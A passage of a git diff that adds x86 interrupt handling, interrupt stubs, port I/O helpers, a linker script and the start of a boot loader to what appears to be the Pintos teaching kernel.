+ ASSERT (vec_no >= 0x20 && vec_no <= 0x2f);
+ register_handler (vec_no, 0, INTR_OFF, handler, name);
+}
+
+/* Registers internal interrupt VEC_NO to invoke HANDLER, which
+ is named NAME for debugging purposes. The interrupt handler
+ will be invoked with interrupt status LEVEL.
+
+ The handler will have descriptor privilege level DPL, meaning
+ that it can be invoked intentionally when the processor is in
+ the DPL or lower-numbered ring. In practice, DPL==3 allows
+ user mode to invoke the interrupts and DPL==0 prevents such
+ invocation. Faults and exceptions that occur in user mode
+ still cause interrupts with DPL==0 to be invoked. See
+ [IA32-v3a] sections 4.5 "Privilege Levels" and 4.8.1.1
+ "Accessing Nonconforming Code Segments" for further
+ discussion. */
+void
+intr_register_int (uint8_t vec_no, int dpl, enum intr_level level,
+ intr_handler_func *handler, const char *name)
+{
+ ASSERT (vec_no < 0x20 || vec_no > 0x2f);
+ register_handler (vec_no, dpl, level, handler, name);
+}
+
+/* Returns true during processing of an external interrupt
+ and false at all other times. */
+bool
+intr_context (void)
+{
+ return in_external_intr;
+}
+
+/* During processing of an external interrupt, directs the
+ interrupt handler to yield to a new process just before
+ returning from the interrupt. May not be called at any other
+ time. */
+void
+intr_yield_on_return (void)
+{
+ ASSERT (intr_context ());
+ yield_on_return = true;
+}
+
+/* 8259A Programmable Interrupt Controller. */
+
+/* Every PC has two 8259A Programmable Interrupt Controller (PIC)
+ chips. One is a "master" accessible at ports 0x20 and 0x21.
+ The other is a "slave" cascaded onto the master's IRQ 2 line
+ and accessible at ports 0xa0 and 0xa1. Accesses to port 0x20
+ set the A0 line to 0 and accesses to 0x21 set the A1 line to
+ 1. The situation is similar for the slave PIC.
+
+ By default, interrupts 0...15 delivered by the PICs will go to
+ interrupt vectors 0...15. Unfortunately, those vectors are
+ also used for CPU traps and exceptions. We reprogram the PICs
+ so that interrupts 0...15 are delivered to interrupt vectors
+ 32...47 (0x20...0x2f) instead. */
+
+/* Initializes the PICs. Refer to [8259A] for details. */
+static void
+pic_init (void)
+{
+ /* Mask all interrupts on both PICs. */
+ outb (0x21, 0xff);
+ outb (0xa1, 0xff);
+
+ /* Initialize master. */
+ outb (0x20, 0x11); /* ICW1: single mode, edge triggered, expect ICW4. */
+ outb (0x21, 0x20); /* ICW2: line IR0...7 -> irq 0x20...0x27. */
+ outb (0x21, 0x04); /* ICW3: slave PIC on line IR2. */
+ outb (0x21, 0x01); /* ICW4: 8086 mode, normal EOI, non-buffered. */
+
+ /* Initialize slave. */
+ outb (0xa0, 0x11); /* ICW1: single mode, edge triggered, expect ICW4. */
+ outb (0xa1, 0x28); /* ICW2: line IR0...7 -> irq 0x28...0x2f. */
+ outb (0xa1, 0x02); /* ICW3: slave ID is 2. */
+ outb (0xa1, 0x01); /* ICW4: 8086 mode, normal EOI, non-buffered. */
+
+ /* Unmask all interrupts. */
+ outb (0x21, 0x00);
+ outb (0xa1, 0x00);
+}
+
+/* Sends an end-of-interrupt signal to the PIC for the given IRQ.
+ If we don't acknowledge the IRQ, it will never be delivered to
+ us again, so this is important. */
+static void
+pic_end_of_interrupt (int irq)
+{
+ ASSERT (irq >= 0x20 && irq < 0x30);
+
+ /* Acknowledge master PIC. */
+ outb (0x20, 0x20);
+
+ /* Acknowledge slave PIC if this is a slave interrupt. */
+ if (irq >= 0x28)
+ outb (0xa0, 0x20);
+}
+
+/* Creates an gate that invokes FUNCTION.
+
+ The gate has descriptor privilege level DPL, meaning that it
+ can be invoked intentionally when the processor is in the DPL
+ or lower-numbered ring. In practice, DPL==3 allows user mode
+ to call into the gate and DPL==0 prevents such calls. Faults
+ and exceptions that occur in user mode still cause gates with
+ DPL==0 to be invoked. See [IA32-v3a] sections 4.5 "Privilege
+ Levels" and 4.8.1.1 "Accessing Nonconforming Code Segments"
+ for further discussion.
+
+ TYPE must be either 14 (for an interrupt gate) or 15 (for a
+ trap gate). The difference is that entering an interrupt gate
+ disables interrupts, but entering a trap gate does not. See
+ [IA32-v3a] section 5.12.1.2 "Flag Usage By Exception- or
+ Interrupt-Handler Procedure" for discussion. */
+static uint64_t
+make_gate (void (*function) (void), int dpl, int type)
+{
+ uint32_t e0, e1;
+
+ ASSERT (function != NULL);
+ ASSERT (dpl >= 0 && dpl <= 3);
+ ASSERT (type >= 0 && type <= 15);
+
+ e0 = (((uint32_t) function & 0xffff) /* Offset 15:0. */
+ | (SEL_KCSEG << 16)); /* Target code segment. */
+
+ e1 = (((uint32_t) function & 0xffff0000) /* Offset 31:16. */
+ | (1 << 15) /* Present. */
+ | ((uint32_t) dpl << 13) /* Descriptor privilege level. */
+ | (0 << 12) /* System. */
+ | ((uint32_t) type << 8)); /* Gate type. */
+
+ return e0 | ((uint64_t) e1 << 32);
+}
+
+/* Creates an interrupt gate that invokes FUNCTION with the given
+ DPL. */
+static uint64_t
+make_intr_gate (void (*function) (void), int dpl)
+{
+ return make_gate (function, dpl, 14);
+}
+
+/* Creates a trap gate that invokes FUNCTION with the given
+ DPL. */
+static uint64_t
+make_trap_gate (void (*function) (void), int dpl)
+{
+ return make_gate (function, dpl, 15);
+}
+
+/* Returns a descriptor that yields the given LIMIT and BASE when
+ used as an operand for the LIDT instruction. */
+static inline uint64_t
+make_idtr_operand (uint16_t limit, void *base)
+{
+ return limit | ((uint64_t) (uint32_t) base << 16);
+}
+
+/* Interrupt handlers. */
+
+/* Handler for all interrupts, faults, and exceptions. This
+ function is called by the assembly language interrupt stubs in
+ intr-stubs.S. FRAME describes the interrupt and the
+ interrupted thread's registers. */
+void
+intr_handler (struct intr_frame *frame)
+{
+ bool external;
+ intr_handler_func *handler;
+
+ /* External interrupts are special.
+ We only handle one at a time (so interrupts must be off)
+ and they need to be acknowledged on the PIC (see below).
+ An external interrupt handler cannot sleep. */
+ external = frame->vec_no >= 0x20 && frame->vec_no < 0x30;
+ if (external)
+ {
+ ASSERT (intr_get_level () == INTR_OFF);
+ ASSERT (!intr_context ());
+
+ in_external_intr = true;
+ yield_on_return = false;
+ }
+
+ /* Invoke the interrupt's handler. */
+ handler = intr_handlers[frame->vec_no];
+ if (handler != NULL)
+ handler (frame);
+ else if (frame->vec_no == 0x27 || frame->vec_no == 0x2f)
+ {
+ /* There is no handler, but this interrupt can trigger
+ spuriously due to a hardware fault or hardware race
+ condition. Ignore it. */
+ }
+ else
+ {
+ /* No handler and not spurious. Invoke the unexpected
+ interrupt handler. */
+ intr_dump_frame (frame);
+ PANIC ("Unexpected interrupt");
+ }
+
+ /* Complete the processing of an external interrupt. */
+ if (external)
+ {
+ ASSERT (intr_get_level () == INTR_OFF);
+ ASSERT (intr_context ());
+
+ in_external_intr = false;
+ pic_end_of_interrupt (frame->vec_no);
+
+ if (yield_on_return)
+ thread_yield ();
+ }
+}
+
+/* Dumps interrupt frame F to the console, for debugging. */
+void
+intr_dump_frame (const struct intr_frame *f)
+{
+ uint32_t cr2;
+
+ /* Store current value of CR2 into `cr2'.
+ CR2 is the linear address of the last page fault.
+ See [IA32-v2a] "MOV--Move to/from Control Registers" and
+ [IA32-v3a] 5.14 "Interrupt 14--Page Fault Exception
+ (#PF)". */
+ asm ("movl %%cr2, %0" : "=r" (cr2));
+
+ printf ("Interrupt %#04x (%s) at eip=%p\n",
+ f->vec_no, intr_names[f->vec_no], f->eip);
+ printf (" cr2=%08"PRIx32" error=%08"PRIx32"\n", cr2, f->error_code);
+ printf (" eax=%08"PRIx32" ebx=%08"PRIx32" ecx=%08"PRIx32" edx=%08"PRIx32"\n",
+ f->eax, f->ebx, f->ecx, f->edx);
+ printf (" esi=%08"PRIx32" edi=%08"PRIx32" esp=%08"PRIx32" ebp=%08"PRIx32"\n",
+ f->esi, f->edi, (uint32_t) f->esp, f->ebp);
+ printf (" cs=%04"PRIx16" ds=%04"PRIx16" es=%04"PRIx16" ss=%04"PRIx16"\n",
+ f->cs, f->ds, f->es, f->ss);
+}
+
+/* Returns the name of interrupt VEC. */
+const char *
+intr_name (uint8_t vec)
+{
+ return intr_names[vec];
+}
diff --git a/src/threads/interrupt.h b/src/threads/interrupt.h
new file mode 100644
index 0000000..d43e06d
--- /dev/null
+++ b/src/threads/interrupt.h
@@ -0,0 +1,70 @@
+#ifndef THREADS_INTERRUPT_H
+#define THREADS_INTERRUPT_H
+
+#include <stdbool.h>
+#include <stdint.h>
+
+/* Interrupts on or off? */
+enum intr_level
+ {
+ INTR_OFF, /* Interrupts disabled. */
+ INTR_ON /* Interrupts enabled. */
+ };
+
+enum intr_level intr_get_level (void);
+enum intr_level intr_set_level (enum intr_level);
+enum intr_level intr_enable (void);
+enum intr_level intr_disable (void);
+
+/* Interrupt stack frame. */
+struct intr_frame
+ {
+ /* Pushed by intr_entry in intr-stubs.S.
+ These are the interrupted task's saved registers. */
+ uint32_t edi; /* Saved EDI. */
+ uint32_t esi; /* Saved ESI. */
+ uint32_t ebp; /* Saved EBP. */
+ uint32_t esp_dummy; /* Not used. */
+ uint32_t ebx; /* Saved EBX. */
+ uint32_t edx; /* Saved EDX. */
+ uint32_t ecx; /* Saved ECX. */
+ uint32_t eax; /* Saved EAX. */
+ uint16_t gs, :16; /* Saved GS segment register. */
+ uint16_t fs, :16; /* Saved FS segment register. */
+ uint16_t es, :16; /* Saved ES segment register. */
+ uint16_t ds, :16; /* Saved DS segment register. */
+
+ /* Pushed by intrNN_stub in intr-stubs.S. */
+ uint32_t vec_no; /* Interrupt vector number. */
+
+ /* Sometimes pushed by the CPU,
+ otherwise for consistency pushed as 0 by intrNN_stub.
+ The CPU puts it just under `eip', but we move it here. */
+ uint32_t error_code; /* Error code. */
+
+ /* Pushed by intrNN_stub in intr-stubs.S.
+ This frame pointer eases interpretation of backtraces. */
+ void *frame_pointer; /* Saved EBP (frame pointer). */
+
+ /* Pushed by the CPU.
+ These are the interrupted task's saved registers. */
+ void (*eip) (void); /* Next instruction to execute. */
+ uint16_t cs, :16; /* Code segment for eip. */
+ uint32_t eflags; /* Saved CPU flags. */
+ void *esp; /* Saved stack pointer. */
+ uint16_t ss, :16; /* Data segment for esp. */
+ };
+
+typedef void intr_handler_func (struct intr_frame *);
+
+void intr_init (void);
+void intr_register_ext (uint8_t vec, intr_handler_func *, const char *name);
+void intr_register_int (uint8_t vec, int dpl, enum intr_level,
+ intr_handler_func *, const char *name);
+bool intr_context (void);
+void intr_yield_on_return (void);
+
+void intr_dump_frame (const struct intr_frame *);
+const char *intr_name (uint8_t vec);
+
+#endif /* threads/interrupt.h */
diff --git a/src/threads/intr-stubs.S b/src/threads/intr-stubs.S
new file mode 100644
index 0000000..334d8cc
--- /dev/null
+++ b/src/threads/intr-stubs.S
@@ -0,0 +1,204 @@
+#include "threads/loader.h"
+
+ .text
+
+/* Main interrupt entry point.
+
+ An internal or external interrupt starts in one of the
+ intrNN_stub routines, which push the `struct intr_frame'
+ frame_pointer, error_code, and vec_no members on the stack,
+ then jump here.
+
+ We save the rest of the `struct intr_frame' members to the
+ stack, set up some registers as needed by the kernel, and then
+ call intr_handler(), which actually handles the interrupt.
+
+ We "fall through" to intr_exit to return from the interrupt.
+*/
+.func intr_entry
+intr_entry:
+ /* Save caller's registers. */
+ pushl %ds
+ pushl %es
+ pushl %fs
+ pushl %gs
+ pushal
+
+ /* Set up kernel environment. */
+ cld /* String instructions go upward. */
+ mov $SEL_KDSEG, %eax /* Initialize segment registers. */
+ mov %eax, %ds
+ mov %eax, %es
+ leal 56(%esp), %ebp /* Set up frame pointer. */
+
+ /* Call interrupt handler. */
+ pushl %esp
+.globl intr_handler
+ call intr_handler
+ addl $4, %esp
+.endfunc
+
+/* Interrupt exit.
+
+ Restores the caller's registers, discards extra data on the
+ stack, and returns to the caller.
+
+ This is a separate function because it is called directly when
+ we launch a new user process (see start_process() in
+ userprog/process.c). */
+.globl intr_exit
+.func intr_exit
+intr_exit:
+ /* Restore caller's registers. */
+ popal
+ popl %gs
+ popl %fs
+ popl %es
+ popl %ds
+
+ /* Discard `struct intr_frame' vec_no, error_code,
+ frame_pointer members. */
+ addl $12, %esp
+
+ /* Return to caller. */
+ iret
+.endfunc
+
+/* Interrupt stubs.
+
+ This defines 256 fragments of code, named `intr00_stub'
+ through `intrff_stub', each of which is used as the entry
+ point for the corresponding interrupt vector. It also puts
+ the address of each of these functions in the correct spot in
+ `intr_stubs', an array of function pointers.
+
+ Most of the stubs do this:
+
+ 1. Push %ebp on the stack (frame_pointer in `struct intr_frame').
+
+ 2. Push 0 on the stack (error_code).
+
+ 3. Push the interrupt number on the stack (vec_no).
+
+ The CPU pushes an extra "error code" on the stack for a few
+ interrupts. Because we want %ebp to be where the error code
+ is, we follow a different path:
+
+ 1. Push a duplicate copy of the error code on the stack.
+
+ 2. Replace the original copy of the error code by %ebp.
+
+ 3. Push the interrupt number on the stack. */
+
+ .data
+.globl intr_stubs
+intr_stubs:
+
+/* This implements steps 1 and 2, described above, in the common
+ case where we just push a 0 error code. */
+#define zero \
+ pushl %ebp; \
+ pushl $0
+
+/* This implements steps 1 and 2, described above, in the case
+ where the CPU already pushed an error code. */
+#define REAL \
+ pushl (%esp); \
+ movl %ebp, 4(%esp)
+
+/* Emits a stub for interrupt vector NUMBER.
+ TYPE is `zero', for the case where we push a 0 error code,
+ or `REAL', if the CPU pushes an error code for us. */
+#define STUB(NUMBER, TYPE) \
+ .text; \
+.globl intr##NUMBER##_stub; \
+.func intr##NUMBER##_stub; \
+intr##NUMBER##_stub: \
+ TYPE; \
+ push $0x##NUMBER; \
+ jmp intr_entry; \
+.endfunc; \
+ \
+ .data; \
+ .long intr##NUMBER##_stub;
+
+/* All the stubs. */
+STUB(00, zero) STUB(01, zero) STUB(02, zero) STUB(03, zero)
+STUB(04, zero) STUB(05, zero) STUB(06, zero) STUB(07, zero)
+STUB(08, REAL) STUB(09, zero) STUB(0a, REAL) STUB(0b, REAL)
+STUB(0c, zero) STUB(0d, REAL) STUB(0e, REAL) STUB(0f, zero)
+
+STUB(10, zero) STUB(11, REAL) STUB(12, zero) STUB(13, zero)
+STUB(14, zero) STUB(15, zero) STUB(16, zero) STUB(17, zero)
+STUB(18, REAL) STUB(19, zero) STUB(1a, REAL) STUB(1b, REAL)
+STUB(1c, zero) STUB(1d, REAL) STUB(1e, REAL) STUB(1f, zero)
+
+STUB(20, zero) STUB(21, zero) STUB(22, zero) STUB(23, zero)
+STUB(24, zero) STUB(25, zero) STUB(26, zero) STUB(27, zero)
+STUB(28, zero) STUB(29, zero) STUB(2a, zero) STUB(2b, zero)
+STUB(2c, zero) STUB(2d, zero) STUB(2e, zero) STUB(2f, zero)
+
+STUB(30, zero) STUB(31, zero) STUB(32, zero) STUB(33, zero)
+STUB(34, zero) STUB(35, zero) STUB(36, zero) STUB(37, zero)
+STUB(38, zero) STUB(39, zero) STUB(3a, zero) STUB(3b, zero)
+STUB(3c, zero) STUB(3d, zero) STUB(3e, zero) STUB(3f, zero)
+
+STUB(40, zero) STUB(41, zero) STUB(42, zero) STUB(43, zero)
+STUB(44, zero) STUB(45, zero) STUB(46, zero) STUB(47, zero)
+STUB(48, zero) STUB(49, zero) STUB(4a, zero) STUB(4b, zero)
+STUB(4c, zero) STUB(4d, zero) STUB(4e, zero) STUB(4f, zero)
+
+STUB(50, zero) STUB(51, zero) STUB(52, zero) STUB(53, zero)
+STUB(54, zero) STUB(55, zero) STUB(56, zero) STUB(57, zero)
+STUB(58, zero) STUB(59, zero) STUB(5a, zero) STUB(5b, zero)
+STUB(5c, zero) STUB(5d, zero) STUB(5e, zero) STUB(5f, zero)
+
+STUB(60, zero) STUB(61, zero) STUB(62, zero) STUB(63, zero)
+STUB(64, zero) STUB(65, zero) STUB(66, zero) STUB(67, zero)
+STUB(68, zero) STUB(69, zero) STUB(6a, zero) STUB(6b, zero)
+STUB(6c, zero) STUB(6d, zero) STUB(6e, zero) STUB(6f, zero)
+
+STUB(70, zero) STUB(71, zero) STUB(72, zero) STUB(73, zero)
+STUB(74, zero) STUB(75, zero) STUB(76, zero) STUB(77, zero)
+STUB(78, zero) STUB(79, zero) STUB(7a, zero) STUB(7b, zero)
+STUB(7c, zero) STUB(7d, zero) STUB(7e, zero) STUB(7f, zero)
+
+STUB(80, zero) STUB(81, zero) STUB(82, zero) STUB(83, zero)
+STUB(84, zero) STUB(85, zero) STUB(86, zero) STUB(87, zero)
+STUB(88, zero) STUB(89, zero) STUB(8a, zero) STUB(8b, zero)
+STUB(8c, zero) STUB(8d, zero) STUB(8e, zero) STUB(8f, zero)
+
+STUB(90, zero) STUB(91, zero) STUB(92, zero) STUB(93, zero)
+STUB(94, zero) STUB(95, zero) STUB(96, zero) STUB(97, zero)
+STUB(98, zero) STUB(99, zero) STUB(9a, zero) STUB(9b, zero)
+STUB(9c, zero) STUB(9d, zero) STUB(9e, zero) STUB(9f, zero)
+
+STUB(a0, zero) STUB(a1, zero) STUB(a2, zero) STUB(a3, zero)
+STUB(a4, zero) STUB(a5, zero) STUB(a6, zero) STUB(a7, zero)
+STUB(a8, zero) STUB(a9, zero) STUB(aa, zero) STUB(ab, zero)
+STUB(ac, zero) STUB(ad, zero) STUB(ae, zero) STUB(af, zero)
+
+STUB(b0, zero) STUB(b1, zero) STUB(b2, zero) STUB(b3, zero)
+STUB(b4, zero) STUB(b5, zero) STUB(b6, zero) STUB(b7, zero)
+STUB(b8, zero) STUB(b9, zero) STUB(ba, zero) STUB(bb, zero)
+STUB(bc, zero) STUB(bd, zero) STUB(be, zero) STUB(bf, zero)
+
+STUB(c0, zero) STUB(c1, zero) STUB(c2, zero) STUB(c3, zero)
+STUB(c4, zero) STUB(c5, zero) STUB(c6, zero) STUB(c7, zero)
+STUB(c8, zero) STUB(c9, zero) STUB(ca, zero) STUB(cb, zero)
+STUB(cc, zero) STUB(cd, zero) STUB(ce, zero) STUB(cf, zero)
+
+STUB(d0, zero) STUB(d1, zero) STUB(d2, zero) STUB(d3, zero)
+STUB(d4, zero) STUB(d5, zero) STUB(d6, zero) STUB(d7, zero)
+STUB(d8, zero) STUB(d9, zero) STUB(da, zero) STUB(db, zero)
+STUB(dc, zero) STUB(dd, zero) STUB(de, zero) STUB(df, zero)
+
+STUB(e0, zero) STUB(e1, zero) STUB(e2, zero) STUB(e3, zero)
+STUB(e4, zero) STUB(e5, zero) STUB(e6, zero) STUB(e7, zero)
+STUB(e8, zero) STUB(e9, zero) STUB(ea, zero) STUB(eb, zero)
+STUB(ec, zero) STUB(ed, zero) STUB(ee, zero) STUB(ef, zero)
+
+STUB(f0, zero) STUB(f1, zero) STUB(f2, zero) STUB(f3, zero)
+STUB(f4, zero) STUB(f5, zero) STUB(f6, zero) STUB(f7, zero)
+STUB(f8, zero) STUB(f9, zero) STUB(fa, zero) STUB(fb, zero)
+STUB(fc, zero) STUB(fd, zero) STUB(fe, zero) STUB(ff, zero)
diff --git a/src/threads/intr-stubs.h b/src/threads/intr-stubs.h
new file mode 100644
index 0000000..9ceba15
--- /dev/null
+++ b/src/threads/intr-stubs.h
@@ -0,0 +1,19 @@
+#ifndef THREADS_INTR_STUBS_H
+#define THREADS_INTR_STUBS_H
+
+/* Interrupt stubs.
+
+ These are little snippets of code in intr-stubs.S, one for
+ each of the 256 possible x86 interrupts. Each one does a
+ little bit of stack manipulation, then jumps to intr_entry().
+ See intr-stubs.S for more information.
+
+ This array points to each of the interrupt stub entry points
+ so that intr_init() can easily find them. */
+typedef void intr_stub_func (void);
+extern intr_stub_func *intr_stubs[256];
+
+/* Interrupt return path. */
+void intr_exit (void);
+
+#endif /* threads/intr-stubs.h */
diff --git a/src/threads/io.h b/src/threads/io.h
new file mode 100644
index 0000000..b493299
--- /dev/null
+++ b/src/threads/io.h
@@ -0,0 +1,173 @@
+/* This file is derived from source code used in MIT's 6.828
+ course. The original copyright notice is reproduced in full
+ below. */
+
+/*
+ * Copyright (C) 1997 Massachusetts Institute of Technology
+ *
+ * This software is being provided by the copyright holders under the
+ * following license. By obtaining, using and/or copying this software,
+ * you agree that you have read, understood, and will comply with the
+ * following terms and conditions:
+ *
+ * Permission to use, copy, modify, distribute, and sell this software
+ * and its documentation for any purpose and without fee or royalty is
+ * hereby granted, provided that the full text of this NOTICE appears on
+ * ALL copies of the software and documentation or portions thereof,
+ * including modifications, that you make.
+ *
+ * THIS SOFTWARE IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO
+ * REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE,
+ * BUT NOT LIMITATION, COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR
+ * WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR
+ * THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY
+ * THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS. COPYRIGHT
+ * HOLDERS WILL BEAR NO LIABILITY FOR ANY USE OF THIS SOFTWARE OR
+ * DOCUMENTATION.
+ *
+ * The name and trademarks of copyright holders may NOT be used in
+ * advertising or publicity pertaining to the software without specific,
+ * written prior permission. Title to copyright in this software and any
+ * associated documentation will at all times remain with copyright
+ * holders. See the file AUTHORS which should have accompanied this software
+ * for a list of all copyright holders.
+ *
+ * This file may be derived from previously copyrighted software. This
+ * copyright applies only to those changes made by the copyright
+ * holders listed in the AUTHORS file. The rest of this file is covered by
+ * the copyright notices, if any, listed below.
+ */
+
+#ifndef THREADS_IO_H
+#define THREADS_IO_H
+
+#include <stddef.h>
+#include <stdint.h>
+
+/* Reads and returns a byte from PORT. */
+static inline uint8_t
+inb (uint16_t port)
+{
+ /* See [IA32-v2a] "IN". */
+ uint8_t data;
+ asm volatile ("inb %w1,%0" : "=a" (data) : "d" (port));
+ return data;
+}
+
+/* Reads CNT bytes from PORT, one after another, and stores them
+ into the buffer starting at ADDR. */
+static inline void
+insb (uint16_t port, void *addr, size_t cnt)
+{
+ /* See [IA32-v2a] "INS". */
+ asm volatile ("cld; repne; insb"
+ : "=D" (addr), "=c" (cnt)
+ : "d" (port), "0" (addr), "1" (cnt)
+ : "memory", "cc");
+}
+
+/* Reads and returns 16 bits from PORT. */
+static inline uint16_t
+inw (uint16_t port)
+{
+ uint16_t data;
+ /* See [IA32-v2a] "IN". */
+ asm volatile ("inw %w1,%0" : "=a" (data) : "d" (port));
+ return data;
+}
+
+/* Reads CNT 16-bit (halfword) units from PORT, one after
+ another, and stores them into the buffer starting at ADDR. */
+static inline void
+insw (uint16_t port, void *addr, size_t cnt)
+{
+ /* See [IA32-v2a] "INS". */
+ asm volatile ("cld; repne; insw"
+ : "=D" (addr), "=c" (cnt)
+ : "d" (port), "0" (addr), "1" (cnt)
+ : "memory", "cc");
+}
+
+/* Reads and returns 32 bits from PORT. */
+static inline uint32_t
+inl (uint16_t port)
+{
+ /* See [IA32-v2a] "IN". */
+ uint32_t data;
+ asm volatile ("inl %w1,%0" : "=a" (data) : "d" (port));
+ return data;
+}
+
+/* Reads CNT 32-bit (word) units from PORT, one after another,
+ and stores them into the buffer starting at ADDR. */
+static inline void
+insl (uint16_t port, void *addr, size_t cnt)
+{
+ /* See [IA32-v2a] "INS". */
+ asm volatile ("cld; repne; insl"
+ : "=D" (addr), "=c" (cnt)
+ : "d" (port), "0" (addr), "1" (cnt)
+ : "memory", "cc");
+}
+
+/* Writes byte DATA to PORT. */
+static inline void
+outb (uint16_t port, uint8_t data)
+{
+ /* See [IA32-v2b] "OUT". */
+ asm volatile ("outb %0,%w1" : : "a" (data), "d" (port));
+}
+
+/* Writes to PORT each byte of data in the CNT-byte buffer
+ starting at ADDR. */
+static inline void
+outsb (uint16_t port, const void *addr, size_t cnt)
+{
+ /* See [IA32-v2b] "OUTS". */
+ asm volatile ("cld; repne; outsb"
+ : "=S" (addr), "=c" (cnt)
+ : "d" (port), "0" (addr), "1" (cnt)
+ : "cc");
+}
+
+/* Writes the 16-bit DATA to PORT. */
+static inline void
+outw (uint16_t port, uint16_t data)
+{
+ /* See [IA32-v2b] "OUT". */
+ asm volatile ("outw %0,%w1" : : "a" (data), "d" (port));
+}
+
+/* Writes to PORT each 16-bit unit (halfword) of data in the
+ CNT-halfword buffer starting at ADDR. */
+static inline void
+outsw (uint16_t port, const void *addr, size_t cnt)
+{
+ /* See [IA32-v2b] "OUTS". */
+ asm volatile ("cld; repne; outsw"
+ : "=S" (addr), "=c" (cnt)
+ : "d" (port), "0" (addr), "1" (cnt)
+ : "cc");
+}
+
+/* Writes the 32-bit DATA to PORT. */
+static inline void
+outl (uint16_t port, uint32_t data)
+{
+ /* See [IA32-v2b] "OUT". */
+ asm volatile ("outl %0,%w1" : : "a" (data), "d" (port));
+}
+
+/* Writes to PORT each 32-bit unit (word) of data in the CNT-word
+ buffer starting at ADDR. */
+static inline void
+outsl (uint16_t port, const void *addr, size_t cnt)
+{
+ /* See [IA32-v2b] "OUTS". */
+ asm volatile ("cld; repne; outsl"
+ : "=S" (addr), "=c" (cnt)
+ : "d" (port), "0" (addr), "1" (cnt)
+ : "cc");
+}
+
+#endif /* threads/io.h */
diff --git a/src/threads/kernel.lds.S b/src/threads/kernel.lds.S
new file mode 100644
index 0000000..6154d08
--- /dev/null
+++ b/src/threads/kernel.lds.S
@@ -0,0 +1,26 @@
+#include "threads/loader.h"
+
+OUTPUT_FORMAT("elf32-i386")
+OUTPUT_ARCH("i386")
+ENTRY(start) /* Kernel starts at "start" symbol. */
+SECTIONS
+{
+ /* Specifies the virtual address for the kernel base. */
+ . = LOADER_PHYS_BASE + LOADER_KERN_BASE;
+
+ _start = .;
+
+ /* Kernel starts with code, followed by read-only data and writable data. */
+ .text : { *(.start) *(.text) } = 0x90
+ .rodata : { *(.rodata) *(.rodata.*)
+ . = ALIGN(0x1000);
+ _end_kernel_text = .; }
+ .data : { *(.data) }
+
+ /* BSS (zero-initialized data) is after everything else. */
+ _start_bss = .;
+ .bss : { *(.bss) }
+ _end_bss = .;
+
+ _end = .;
+}
diff --git a/src/threads/loader.S b/src/threads/loader.S
new file mode 100644
index 0000000..b7842d3
--- /dev/null
+++ b/src/threads/loader.S
@@ -0,0 +1,349 @@
+/* This file is derived from source code used in MIT's 6.828
+ course. The original copyright notice is reproduced in full
+ below. */
+
+/*
+ * Copyright (C) 1997 Massachusetts Institute of Technology
+ *
+ * This software is being provided by the copyright holders under the
+ * following license. By obtaining, using and/or copying this software,
+ * you agree that you have read, understood, and will comply with the
+ * following terms and conditions:
+ *
+ * Permission to use, copy, modify, distribute, and sell this software
+ * and its documentation for any purpose and without fee or royalty is
+ * hereby granted, provided that the full text of this NOTICE appears on
+ * ALL copies of the software and documentation or portions thereof,
+ * including modifications, that you make.
+ *
+ * THIS SOFTWARE IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO
+ * REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE,
+ * BUT NOT LIMITATION, COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR
+ * WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR
+ * THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY
+ * THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS. COPYRIGHT
+ * HOLDERS WILL BEAR NO LIABILITY FOR ANY USE OF THIS SOFTWARE OR
+ * DOCUMENTATION.
+ *
+ * The name and trademarks of copyright holders may NOT be used in
+ * advertising or publicity pertaining to the software without specific,
+ * written prior permission. Title to copyright in this software and any
+ * associated documentation will at all times remain with copyright
+ * holders. See the file AUTHORS which should have accompanied this software
+ * for a list of all copyright holders.
+ *
+ * This file may be derived from previously copyrighted software. This
+ * copyright applies only to those changes made by the copyright
+ * holders listed in the AUTHORS file. The rest of this file is covered by
+ * the copyright notices, if any, listed below.
+ */
+
+#include "threads/loader.h"
+
+#### Kernel loader.
+
+#### This code should be stored in the first sector of the hard disk.
+#### When the BIOS runs, it loads this code at physical address
+#### 0x7c00-0x7e00 (512 bytes). Then it jumps to the beginning of it,
+#### in real mode. This code switches into protected mode (32-bit
+#### mode) so that all of memory can accessed, loads the kernel into
+#### memory, and jumps to the first byte of the kernel, where start.S
+#### is linked.
+
+/* Flags in control register 0. */
+#define CR0_PE 0x00000001 /* Protection Enable. */
+#define CR0_EM 0x00000004 /* (Floating-point) Emulation. */
+#define CR0_PG 0x80000000 /* Paging. */
+#define CR0_WP 0x00010000 /* Write-Protect enable in kernel mode. */
+
+
+.globl start
+start:
+
+# Code runs in real mode, which is a 16-bit segment.
+ .code16
+
+# Disable interrupts, because we will not be prepared to handle them
+# in protected mode until much later.
+# String instructions go upward (e.g. for "rep stosl" below).
+
+ cli
+ cld
+
+# Set up data segments.
+
+ subw %ax, %ax
+ movw %ax, %es
+ movw %ax, %ds
+
+# Set up stack segment.
+# Stack grows downward starting from us.
+# We don't ever use the stack, but we call into the BIOS,
+# which might.
+
+ movw %ax, %ss
+ movw $0x7c00, %sp
+
+#### Enable A20. Address line 20 is tied to low when the machine
+#### boots, which prevents addressing memory about 1 MB. This code
+#### fixes it.
+
+# Poll status register while busy.
+
+1: inb $0x64, %al
+ testb $0x2, %al
+ jnz 1b
+
+# Send command for writing output port.
+
+ movb $0xd1, %al
+ outb %al, $0x64
+
+# Poll status register while busy.
+
+1: inb $0x64, %al
+ testb $0x2, %al
+ jnz 1b
+
+# Enable A20 line.
+
+ movb $0xdf, %al
+ outb %al, $0x60
+
+#### Get memory size, via interrupt 15h function 88h. Returns CF
+#### clear if successful, with AX = (kB of physical memory) - 1024.
+#### This only works for memory sizes <= 65 MB, which should be fine
+#### for our purposes. We cap memory at 64 MB because that's all we
+#### prepare page tables for, below.
+
+ movb $0x88, %ah
